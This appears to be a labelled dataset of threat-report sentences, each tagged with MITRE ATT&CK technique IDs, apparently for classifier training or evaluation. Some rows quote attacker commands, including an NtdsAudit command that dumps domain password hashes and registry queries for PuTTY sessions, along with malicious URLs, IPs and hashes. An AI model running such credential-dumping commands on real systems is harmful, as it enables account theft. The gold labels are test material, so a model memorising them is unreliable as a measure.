"The very first stage of the implant’s code is a custom loader written by APT3, which extracts an encrypted version of DoublePulsar code from incoming SMB packets, and decrypts and executes it. This is in fact a self-modifying piece of code, i.e. before it actually handles any of the aforementioned functionalities, it must decrypt subsequent parts of itself. The code is wrapped in 2 layers using simple crypters, so the first crypter decodes the second, and the latter decodes the actual loader code.","['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1105 - Ingress Tool Transfer', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1620 - Reflective Code Loading', 'T1587.001 - Malware']",golden
"After executing all the commands given by the server, the bot sends a new request to the server. This request contains a complete log of executed commands. If any of the commands require the bot to send data to the server (i.e., SONIA), they are sent in separate HTTP requests preceding the log request. These requests can also be redirected do a different C&C, if specified in the command parameters.","['T1041 - Exfiltration Over C2 Channel', 'T1071 - Application Layer Protocol', 'T1071.001 - Application Layer Protocol: Web Protocols', 'T1008 - Fallback Channels', 'T1020 - Automated Exfiltration', 'T1119 - Automated Collection']",golden
"This Zip archive contained a file named [redacted]-ITsoftwareUpdate.exe (SHA256: 5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336), which is a variant of the OopsIE Trojan we described in detail in a blog we published in September 2018. This suggests that the server displayed in the VPS control panel may have indeed been in use by the OilRig threat actors at the time of attack. In addition, two of the other IPs listed in this panel, 185.161.209[.]57 and 185.161.210[.]25 are in the same 185.161.208[.]0/22 range as an IP associated with the DNSpionage campaign, 185.161.211[.]72. This is a tenuous relationship at best and does not indicate that the OilRig group is the one executing the DNSpionage campaign, but with the combination of the use of DeltaHost and IPs belonging to a fairly small range, there may be reason to believe that these are related to some extent.","['T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading']",golden
"“Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, aka “Excel Featheader Record Memory Corruption Vulnerability.”  .",['T1203 - Exploitation for Client Execution'],golden
Exploitation of CVE-2016-0167 a Microsoft Windows Privilege Escalation vulnerability to gain SYSTEM level privileges. Earlier versions of Shifu exploited CVE-2015-0003 to achieve the same goal. Use of a Windows atom to identify if the host is already infected with Shifu in addition to the mutex used by previous versions. Use of “push-calc-ret” API obfuscation to hide function calls from malware analysts. Use of alternative Namecoin .bit domains.,"['T1068 - Exploitation for Privilege Escalation', 'T1106 - Native API']",golden
"This artifact is interesting as the shellcode executed relies on Windows APIs and the payload installed is a Windows DLL that would not run on OSX. This flag does suggest that the threat actors do consider the OSX operating system when developing their malicious exploit code in cross platform file types, such as Flash SWF files. While we cannot confirm this, it is possible that the threat actors could use DealersChoice.A to exploit and load an OSX Trojan if prepared with the appropriate shellcode.",['T1106 - Native API'],golden
"While we do not have telemetry showing how the CASHY200 PowerShell backdoor was delivered, in September 2019 we observed a host based in Kuwait beaconing to the windows64x[.]com domain using the same DNS tunneling protocol as the CASHY200 payload. Fortunately, the beaconing to this domain was blocked by our DNS security service, so the adversary was no longer able to communicate with their payload using this DNS tunnel. By analyzing the lineage of this tool, we found that actors may have used CASHY200 when targeting Kuwait government organizations starting in the spring of 2018 and continuing throughout 2019, according to our open source collection efforts.","['T1572 - Protocol Tunneling', 'T1071 - Application Layer Protocol', 'T1071.004 - Application Layer Protocol: DNS']",golden
"The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.","['T1036 - Masquerading', 'T1218.005 - Signed Binary Proxy Execution: Mshta', 'T1559.001 - Component Object Model']",golden
12. Execute the exported function “updater” within “MSO1234.win” using rundll32.exe .,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
"In a 2021 campaign, two weeks after PROPHET SPIDER ceased interactive operations, an unattributed actor downloaded a Cobalt Strike stager DLL from a remote IP address. When run with the argument 11985756, the DLL downloaded a Cobalt Strike payload. The adversary used ADFind to enumerate Active Directory, then moved laterally, using a compromised administrative account, and downloading additional Cobalt Strike Beacon payloads onto some systems, or using PSExec to run Cobalt Strike. The adversary further used PowerSploit to enumerate the victim environment. Before deploying ransomware, the adversary staged data in ZIP archives and likely exfiltrated these archives. Batch scripts subsequently deployed MountLocker across the victim environment.","['T1105 - Ingress Tool Transfer', 'T1570 - Lateral Tool Transfer', 'T1074 - Data Staged', 'T1059 - Command and Scripting Interpreter', 'T1005 - Data from Local System', 'T1078.002 - Domain Accounts']",golden
"Managed Defense, utilizing FireEye Endpoint Security technology, detected and responded to the threat activity identified within the customer’s environment. The subsequent investigation revealed FIN6 was in the initial phase of an intrusion using stolen credentials, Cobalt Strike, Metasploit, and publicly available tools such as Adfind and 7-Zip to conduct internal reconnaissance, compress data, and aid their overall mission.","['T1105 - Ingress Tool Transfer', 'T1078 - Valid Accounts']",golden
The second stage of the attack is downloaded from “http://www.hotinfonews.com/news/dailynews2.php”and executed by the payload of the Java exploit. It acts as a downloader for the next stage of the attack.,"['T1105 - Ingress Tool Transfer', 'T1203 - Exploitation for Client Execution']",golden
"Afterwards, it uses CreateServiceA to add svchost.exe as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker.","['T1569.002 - System Services: Service Execution', 'T1106 - Native API', 'T1543 - Create or Modify System Process', 'T1569 - System Services']",golden
The main Trojan body is encrypted “XOR 0xDE” and stored as hex text inside the RTF file. The shellcode simply writes the main dropper to a file named “msmx21.exe” in the %TEMP% folder and runs it. It also extracts a fake document which is shown to the victim if the exploit has been successful.,"['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1036 - Masquerading']",golden
"This is another aspect that has stayed unmodified in GandCrab 2. Once the information collection phase is over, GandCrab moves to terminate a wide range of processes that might be running on the victim machine and might be holding write access to files. This technique has been previously documented as a part of the Cerber ransomware, and prevents a scenario where GandCrab will attempt to encrypt a file and fail to obtain write access to the file because it is already open in another application. Process termination is done by the standard method of invoking the CreateToolhelp32Snapshot windows API and then iterating over the processes with Process32First and Process32Next. The list shares enough common processes with the one used by Cerber that it’s probable to assume the list was based on the one used in Cerber originally. The list of targeted processes is constant throughout both versions of GandCrab:","['T1057 - Process Discovery', 'T1106 - Native API']",golden
"This “transfer” decryption routine returns a URL that is concatenated with the other variables, resulting in”hXXp://www.hotinfonews.com/news/dailynews2.php?id=&t=win”. It is this content that is written to disk and executed on the victim’s machine. A description of that downloader follows. It is most interesting that this exploit/php combination’s encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests that potentially this limited use package was developed separately from the rest for a specific target.",['T1105 - Ingress Tool Transfer'],golden
"Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. Additionally, the malware looks for multiple security products on victim machines and sometimes alters its behavior depending on the products present. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. These security products included those that are known to be most widely used within South Korea and Taiwan. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file. Unit 42 has observed a total of two variants of Comnie. One of the ways the variants differ is in how they obtain their command and control (C2) information. Both variants make use of third-party online services in an attempt to prevent DNS based blocking of their first stage communications. However, the obfuscation mechanism varies slightly. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this:","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1104 - Multi-Stage Channels', 'T1057 - Process Discovery', 'T1518.001 - Software Discovery: Security Software Discovery', 'T1573 - Encrypted Channel', 'T1071.004 - Application Layer Protocol: DNS', 'T1071 - Application Layer Protocol', 'T1001 - Data Obfuscation']",golden
"Tools such as XHide Process Faker, which can hide or change the name of Linux processes and PyInstaller, which can convert Python scripts into executables.","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036 - Masquerading', 'T1027 - Obfuscated Files or Information', 'T1027.005 - Indicator Removal from Tools']",golden
"The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.",['T1585.001 - Social Media Accounts'],golden
"The sniffer code is similar to the one used in the driver’s “tdip.sys” and “mstcp32.sys” and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming traffic on Ethernet and VPN (ndiswanip) interfaces. It captures only directed packets (containing a destination address equal to the station address of the NIC). Packers-filtering engine rules may be set via DeviceIoControl messages. Filtered packets are stored in-memory until requested. Maximum packets storage list length is 128 items per filtering rule.","['T1040 - Network Sniffing', 'T1106 - Native API', 'T1205.002 - Socket Filters']",golden
POWERSTATS encoded C2 traffic with base64.,"['T1001 - Data Obfuscation', 'T1132.001 - Data Encoding: Standard Encoding']",golden
PLEAD samples were found to be highly obfuscated with junk code.,['T1001.001 - Junk Data'],golden
SUNBURST C2 data attempted to appear as benign XML related to .NET assemblies or as a faux JSON blob.,['T1001.002 - Data Obfuscation via Steganography'],golden
"FakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.",['T1001.003 - Protocol or Service Impersonation'],golden
Higaisa used a FakeTLS session for C2 communications.,['T1001.003 - Protocol or Service Impersonation'],golden
"InvisiMole can mimic HTTP protocol with custom HTTP “verbs” HIDE, ZVVP, and NOP.",['T1001.003 - Protocol or Service Impersonation'],golden
Axiom has been known to dump credentials.,['T1003 - OS Credential Dumping'],golden
Azorult can dump credentials from victim browsers.,['T1003 - OS Credential Dumping'],golden
HOMEFRY can perform credential dumping.,['T1003 - OS Credential Dumping'],golden
"Trojan.Karagany can dump passwords and save them into ""\ProgramData\Mail\MailAg\pwds.txt"".",['T1003 - OS Credential Dumping'],golden
APT1 has been known to use credential dumping using Mimikatz.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
"APT33 has used a variety of publicly available tools like LaZagne, Mimikatz, and ProcDump to dump credentials.",['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
Fox Kitten has used prodump to dump credentials from LSASS.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
Indrik Spider used Cobalt Strike to carry out credential dumping using ProcDump.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
Lazarus Group leveraged Mimikatz to extract Windows Credentials of currently logged-in users and steals passwords stored in browsers. Lazarus Group has also used a custom version Mimikatz to capture credentials.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
MuddyWater has performed credential dumping with Mimikatz and procdump64.exe.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
NotPetya contains a modified version of Mimikatz to help gather credentials that are later used for lateral movement.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
Threat Group-3390 actors have used a modified version of Mimikatz called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.,['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
CosmicDuke collects Windows account hashes.,['T1003.002 - OS Credential Dumping: Security Account Manager'],golden
CrackMapExec can dump usernames and hashed passwords from the SAM.,['T1003.002 - OS Credential Dumping: Security Account Manager'],golden
"Password stealer and NTLM stealer modules in CozyCar harvest stored credentials from the victim, including credentials used as part of Windows NTLM user authentication.",['T1003.002 - OS Credential Dumping: Security Account Manager'],golden
menuPass has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.,"['T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets']",golden
pwdump can be used to dump credentials from the SAM.,['T1003.002 - OS Credential Dumping: Security Account Manager'],golden
"Chimera has gathered the SYSTEM registry and ntds.dit files from target systems. Chimera specifically has used the NtdsAudit tool to dump the password hashes of domain users via ""msadcs.exe ""NTDS.dit"" -s ""SYSTEM"" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv"" and used ntdsutil to copy the Active Directory database.",['T1003.003 - OS Credential Dumping: NTDS'],golden
Dragonfly has dropped and executed SecretsDump to dump password hashes. They also obtained ntds.dit from domain controllers.,['T1003.003 - OS Credential Dumping: NTDS'],golden
Fox Kitten has used Volume Shadow Copy to access credential information from NTDS.,['T1003.003 - OS Credential Dumping: NTDS'],golden
LaZagne can perform credential dumping from LSA secrets to obtain account and password information.,['T1003.004 - OS Credential Dumping: LSA Secrets'],golden
APT1 has collected files from a local victim.,['T1005 - Data from Local System'],golden
APT38 has collected data from a compromised host.,['T1005 - Data from Local System'],golden
BADFLICK has uploaded files from victims' machines.,['T1005 - Data from Local System'],golden
BLINDINGCAN has uploaded files from victim machines.,['T1005 - Data from Local System'],golden
Bisonal has collected information from a compromised host.,['T1005 - Data from Local System'],golden
CharmPower can collect data and files from a compromised host.,['T1005 - Data from Local System'],golden
DanBot can upload files from compromised hosts.,['T1005 - Data from Local System'],golden
DarkWatchman can collect files from a compromised host.,['T1005 - Data from Local System'],golden
Dragonfly has collected data from local victim systems.,['T1005 - Data from Local System'],golden
Drovorub can transfer files from the victim machine.,['T1005 - Data from Local System'],golden
"During CostaRicto, the threat actors collected data and files from compromised networks.",['T1005 - Data from Local System'],golden
"During Operation Wocao, threat actors exfiltrated files and directories of interest from the targeted system.",['T1005 - Data from Local System'],golden
"Flagpro can collect data from a compromised host, including Windows authentication information.",['T1005 - Data from Local System'],golden
"GALLIUM collected data from the victim's local system, including password hashes from the SAM hive in the Registry.",['T1005 - Data from Local System'],golden
Gelsemium can collect data from a compromised host.,['T1005 - Data from Local System'],golden
Hikit can upload files from compromised machines.,['T1005 - Data from Local System'],golden
Honeybee collects data from the local victim system.,['T1005 - Data from Local System'],golden
Hydraq creates a backdoor through which remote attackers can read data from files.,['T1005 - Data from Local System'],golden
"Kimsuky has collected Office, PDF, and HWP documents from its victims.",['T1005 - Data from Local System'],golden
"LAPSUS$ uploaded sensitive files, information, and credentials from a targeted organization for extortion or public release.",['T1005 - Data from Local System'],golden
MobileOrder exfiltrates data collected from the victim mobile device.,['T1005 - Data from Local System'],golden
Mongall has the ability to upload files from victim's machines.,['T1005 - Data from Local System'],golden
OSX_OCEANLOTUS.D has the ability to upload files from a compromised host.,['T1005 - Data from Local System'],golden
OutSteel can collect information from a compromised host.,['T1005 - Data from Local System'],golden
POWERSTATS can upload files from compromised hosts.,['T1005 - Data from Local System'],golden
PcShare can collect files and information from a compromised host.,['T1005 - Data from Local System'],golden
PinchDuke collects user files from the compromised host based on predefined file extensions.,['T1005 - Data from Local System'],golden
QuasarRAT can retrieve files from compromised client machines.,['T1005 - Data from Local System'],golden
RCSession can collect data from a compromised host.,['T1005 - Data from Local System'],golden
ROKRAT can collect host data and specific file types.,['T1005 - Data from Local System'],golden
Rising Sun has collected data and files from a compromised host.,['T1005 - Data from Local System'],golden
ThreatNeedle can collect data and files from a compromised host.,['T1005 - Data from Local System'],golden
TinyTurla can upload files from a compromised host.,['T1005 - Data from Local System'],golden
TrickBot collects local files and information from the victim’s local machine.,['T1005 - Data from Local System'],golden
Turla RPC backdoors can upload files from victim machines.,['T1005 - Data from Local System'],golden
WarzoneRAT can collect data from a compromised host.,['T1005 - Data from Local System'],golden
"When it first starts, BADNEWS crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",['T1005 - Data from Local System'],golden
"APT1 used the commands ""net start"" and ""tasklist"" to get a listing of the services on the system.",['T1007 - System Service Discovery'],golden
Dyre has the ability to identify running services on a compromised host.,['T1007 - System Service Discovery'],golden
"Elise executes ""net start"" after initial communication is made to the remote server.",['T1007 - System Service Discovery'],golden
"Epic uses the ""tasklist /svc"" command to list the services on the system.",['T1007 - System Service Discovery'],golden
HyperBro can list all services and their configurations.,['T1007 - System Service Discovery'],golden
Indrik Spider has used the win32_service WMI class to retrieve a list of services from the system.,['T1007 - System Service Discovery'],golden
RainyDay can create and register a service for execution.,['T1007 - System Service Discovery'],golden
"S-Type runs the command ""net start"" on a victim.",['T1007 - System Service Discovery'],golden
Bazar has the ability to use an alternative C2 server if the primary server fails.,['T1008 - Fallback Channels'],golden
FIN7's Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.,['T1008 - Fallback Channels'],golden
"JHUHUGIT tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.",['T1008 - Fallback Channels'],golden
OilRig malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.,['T1008 - Fallback Channels'],golden
ShimRat has used a secondary C2 location if the first was unavailable.,['T1008 - Fallback Channels'],golden
Stuxnet has the ability to generate new C2 domains.,['T1008 - Fallback Channels'],golden
WinMM is usually configured with primary and backup domains for C2 communications.,['T1008 - Fallback Channels'],golden
Kazuar gathers information about opened windows.,['T1010 - Application Window Discovery'],golden
Machete saves the window names.,['T1010 - Application Window Discovery'],golden
QakBot has the ability to enumerate windows on a compromised host.,['T1010 - Application Window Discovery'],golden
"Azorult can check for installed software on the system under the Registry key ""Software\Microsoft\Windows\CurrentVersion\Uninstall"".",['T1012 - Query Registry'],golden
BitPaymer can use the RegEnumKeyW to iterate through Registry keys.,['T1012 - Query Registry'],golden
"Cardinal RAT contains watchdog functionality that periodically ensures ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load"" is set to point to its executable.",['T1012 - Query Registry'],golden
"Chimera has queried Registry keys using ""reg query \\<host>\HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers"" and ""reg query \\<host>\HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings"".",['T1012 - Query Registry'],golden
"Crimson can check the Registry for the presence of ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\last_edate"" to determine how long it has been installed on a host.",['T1012 - Query Registry'],golden
DarkWatchman can query the Registry to determine if it has already been installed on the system.,['T1012 - Query Registry'],golden
Derusbi is capable of enumerating Registry keys and values.,['T1012 - Query Registry'],golden
DownPaper searches and reads the value of the Windows Update Registry Run key.,['T1012 - Query Registry'],golden
"Dtrack can collect the RegisteredOwner, RegisteredOrganization, and InstallDate registry values.",['T1012 - Query Registry'],golden
"During Operation Wocao, the threat actors executed `/c cd /d c:\windows\temp\ & reg query HKEY_CURRENT_USER\Software\<username>\PuTTY\Sessions\` to detect recent PuTTY sessions, likely to further lateral movement.",['T1012 - Query Registry'],golden
FunnyDream can check `Software\Microsoft\Windows\CurrentVersion\Internet Settings` to extract the `ProxyServer` string.,['T1012 - Query Registry'],golden
LitePower can query the Registry for keys added to execute COM hijacking.,['T1012 - Query Registry'],golden
"POWRUNER may query the Registry by running ""reg query"" on a victim.",['T1012 - Query Registry'],golden
PlugX can enumerate and query for information contained within the Windows Registry.,['T1012 - Query Registry'],golden
PowerSploit contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.,['T1012 - Query Registry'],golden
QUADAGENT checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.,['T1012 - Query Registry'],golden
"RATANKBA uses the command ""reg query “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings”"".",['T1012 - Query Registry'],golden
REvil can query the Registry to get random file extensions to append to encrypted files.,['T1012 - Query Registry'],golden
Reg may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.,['T1012 - Query Registry'],golden
"SUNBURST collected the registry value ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid"" from compromised hosts.",['T1012 - Query Registry'],golden
Shamoon queries several Registry keys to identify hard disk partitions to overwrite.,['T1012 - Query Registry'],golden
SodaMaster has the ability to query the Registry to detect a key specific to VMware.,['T1012 - Query Registry'],golden
Stuxnet searches the Registry for indicators of security programs.,['T1012 - Query Registry'],golden
SynAck enumerates Registry keys associated with event logs.,['T1012 - Query Registry'],golden
Ursnif has used Reg to query the Registry for installed programs.,['T1012 - Query Registry'],golden
"Zebrocy executes the ""reg query"" command to obtain information in the Registry.",['T1012 - Query Registry'],golden
Carberp has used user mode rootkit techniques to remain hidden on the system.,['T1014 - Rootkit'],golden
Hikit is a Rootkit that has been used by Axiom.,['T1014 - Rootkit'],golden
Zeroaccess is a kernel-mode rootkit.,['T1014 - Rootkit'],golden
A module in Prikormka collects information from the victim about its IP addresses and MAC addresses.,['T1016 - System Network Configuration Discovery'],golden
"APT32 used the ""ipconfig /all"" command to gather the IP address from the system.",['T1016 - System Network Configuration Discovery'],golden
Arp can be used to display ARP configuration information on the host.,['T1016 - System Network Configuration Discovery'],golden
"BabyShark has executed the ""ipconfig /all"" command.",['T1016 - System Network Configuration Discovery'],golden
Bandook has a command to get the public IP address from a system.,['T1016 - System Network Configuration Discovery'],golden
"Bisonal can execute ""ipconfig"" on the victim’s machine.",['T1016 - System Network Configuration Discovery'],golden
Brave Prince gathers network configuration information as well as the ARP cache.,['T1016 - System Network Configuration Discovery'],golden
Cyclops Blink can use the Linux API `if_nameindex` to gather network interface names.,['T1016 - System Network Configuration Discovery'],golden
Darkhotel has collected the IP address and network adapter information from the victim’s machine.,['T1016 - System Network Configuration Discovery'],golden
FALLCHILL collects MAC address and local IP address information from the victim.,['T1016 - System Network Configuration Discovery'],golden
"Higaisa used ""ipconfig"" to gather network configuration information.",['T1016 - System Network Configuration Discovery'],golden
"InvisiMole gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.",['T1016 - System Network Configuration Discovery'],golden
KeyBoy can determine the public or WAN IP address for the system.,['T1016 - System Network Configuration Discovery'],golden
Kimsuky has used `ipconfig/all` to gather network configuration information.,['T1016 - System Network Configuration Discovery'],golden
Koadic can retrieve the contents of the IP routing table as well as information about the Windows domain.,['T1016 - System Network Configuration Discovery'],golden
"LightNeuron gathers information about network adapters using the Win32 API call ""GetAdaptersInfo"".",['T1016 - System Network Configuration Discovery'],golden
Moses Staff has collected the domain name of a compromised network.,['T1016 - System Network Configuration Discovery'],golden
NBTscan can be used to collect MAC addresses.,['T1016 - System Network Configuration Discovery'],golden
NanoCore gathers the IP address from the victim’s machine.,['T1016 - System Network Configuration Discovery'],golden
"Nltest may be used to enumerate the parent domain of a local machine using ""/parentdomain"".",['T1016 - System Network Configuration Discovery'],golden
Pisloader has a command to collect the victim's IP address.,['T1016 - System Network Configuration Discovery'],golden
Pupy has built in commands to identify a host’s IP address and find out other network configuration settings by viewing connected sessions.,['T1016 - System Network Configuration Discovery'],golden
Saint Bot can collect the IP address of a victim machine.,['T1016 - System Network Configuration Discovery'],golden
"ShimRatReporter gathered the local proxy, domain, IP, routing tables, mac address, gateway, DNS servers, and DHCP status information from an infected host.",['T1016 - System Network Configuration Discovery'],golden
Sliver has the ability to gather network configuration information.,['T1016 - System Network Configuration Discovery'],golden
The reconnaissance modules used with Duqu can collect information on network configuration.,['T1016 - System Network Configuration Discovery'],golden
"TrickBot obtains the IP address, location, and other relevant network information from the victim’s machine.",['T1016 - System Network Configuration Discovery'],golden
Tropic Trooper has used scripts to collect the host's network topology.,['T1016 - System Network Configuration Discovery'],golden
Turian can retrieve the internal IP address of a compromised host.,['T1016 - System Network Configuration Discovery'],golden
"Turla surveys a system upon check-in to discover network configuration details using the ""arp -a"", ""nbtstat -n"", ""net config"", ""ipconfig /all"", and ""route"" commands, as well as NBTscan. Turla RPC backdoors have also retrieved registered RPC interface information from process memory.",['T1016 - System Network Configuration Discovery'],golden
Xbash can collect IP addresses and local intranet information from a victim’s machine.,['T1016 - System Network Configuration Discovery'],golden
menuPass has used several tools to scan for open NetBIOS nameservers and enumerate NetBIOS sessions.,['T1016 - System Network Configuration Discovery'],golden
APT29 has used GoldFinder to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],golden
Gamaredon Group has tested connectivity between a compromised machine and a C2 server using  Ping with commands such as `CSIDL_SYSTEM\cmd.exe /c ping -n 1`.,['T1016.001 - System Network Configuration Discovery: Internet Connection Discovery'],golden
"Arp can be used to display a host's ARP cache, which may include address resolutions for remote systems.",['T1018 - Remote System Discovery'],golden
"Bazar can enumerate remote systems using "" Net View"".",['T1018 - Remote System Discovery'],golden
Deep Panda has used ping to identify other machines of interest.,['T1018 - Remote System Discovery'],golden
Dragonfly 2.0 likely obtained a list of hosts in the victim environment.,['T1018 - Remote System Discovery'],golden
Dragonfly has likely obtained a list of hosts in the victim environment.,['T1018 - Remote System Discovery'],golden
"During Operation Wocao, threat actors used `nbtscan` and `ping` to discover remote systems, as well as `dsquery subnet` on a domain controller to retrieve all subnets in the Active Directory.",['T1018 - Remote System Discovery'],golden
"HermeticWizard can find machines on the local network by gathering known local IP addresses through `DNSGetCacheDataTable`, `GetIpNetTable`,`WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)`,`NetServerEnum`,`GetTcpTable`, and `GetAdaptersAddresses.`",['T1018 - Remote System Discovery'],golden
"Kinsing has used a script to parse files like ""/etc/hosts"" and SSH ""known_hosts"" to discover remote systems.",['T1018 - Remote System Discovery'],golden
Leafminer used Microsoft’s Sysinternals tools to gather detailed information about remote systems.,['T1018 - Remote System Discovery'],golden
Remsec can ping or traceroute a remote host.,['T1018 - Remote System Discovery'],golden
UNC2452 used AdFind to enumerate remote systems.,['T1018 - Remote System Discovery'],golden
"USBferry can use ""net view"" to gather information about remote systems.",['T1018 - Remote System Discovery'],golden
"yty uses the ""net view"" command for discovery.",['T1018 - Remote System Discovery'],golden
Gamaredon Group has used modules that automatically upload gathered documents to the C2 server.,['T1020 - Automated Exfiltration'],golden
"Honeybee performs data exfiltration is accomplished through the following command-line command: ""from <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt"".",['T1020 - Automated Exfiltration'],golden
"When a document is found matching one of the extensions in the configuration, TINYTYPHON uploads it to the C2 server.",['T1020 - Automated Exfiltration'],golden
Kivars has the ability to remotely trigger keyboard input and mouse clicks.,['T1021 - Remote Services'],golden
APT3 enables the Remote Desktop Protocol for persistence. APT3 has also interacted with compromised systems to browse and copy files through RDP sessions.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
Cobalt Strike can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
FIN10 has used RDP to move laterally to systems in the victim environment.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
HEXANE has used remote desktop sessions for lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
Imminent Monitor has a module for performing remote desktop access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
Lazarus Group malware SierraCharlie uses RDP for propagation.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
Patchwork attempted to use RDP to move laterally.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
Revenge RAT has a plugin to perform RDP access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
WarzoneRAT has the ability to control an infected PC using RDP.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
njRAT has a module for performing remote desktop access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
zwShell has used RDP for lateral movement.,['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
APT39 has used SMB for lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
"During Operation Wocao, threat actors used Impacket's smbexec.py as well as accessing the C$ and IPC$ shares to move laterally.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
Emotet leverages the Admin$ share for lateral movement once the local admin password has been brute forced.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
Fox Kitten has used valid accounts to access SMB shares.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
Ke3chang actors have been known to copy files to the network shares of other computers to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
Lucifer can infect victims by brute forcing SMB.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
"NotPetya can use PsExec, which interacts with the ""ADMIN$"" network share to execute commands on remote systems.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
OilRig has used Putty to access compromised systems.,['T1021.004 - Remote Services: SSH'],golden
Carberp can start a remote VNC session by downloading a new plugin.,['T1021.005 - Remote Services:VNC'],golden
TrickBot has used a VNC module to monitor the victim and collect information to pivot to valuable systems on the network,['T1021.005 - Remote Services:VNC'],golden
"Cobalt Strike can use ""WinRM"" to execute a payload on a remote host.",['T1021.006 - Remote Services: Windows Remote Management'],golden
Wizard Spider has used Window Remote Management to move laterally through a victim network.,['T1021.006 - Remote Services: Windows Remote Management'],golden
CosmicDuke steals user files from removable media with file extensions and keywords that match a predefined list.,['T1025 - Data from Removable Media'],golden
InvisiMole can collect jpeg files from connected MTP devices.,['T1025 - Data from Removable Media'],golden
"Machete can find, encrypt, and upload files from fixed and removable drives.",['T1025 - Data from Removable Media'],golden
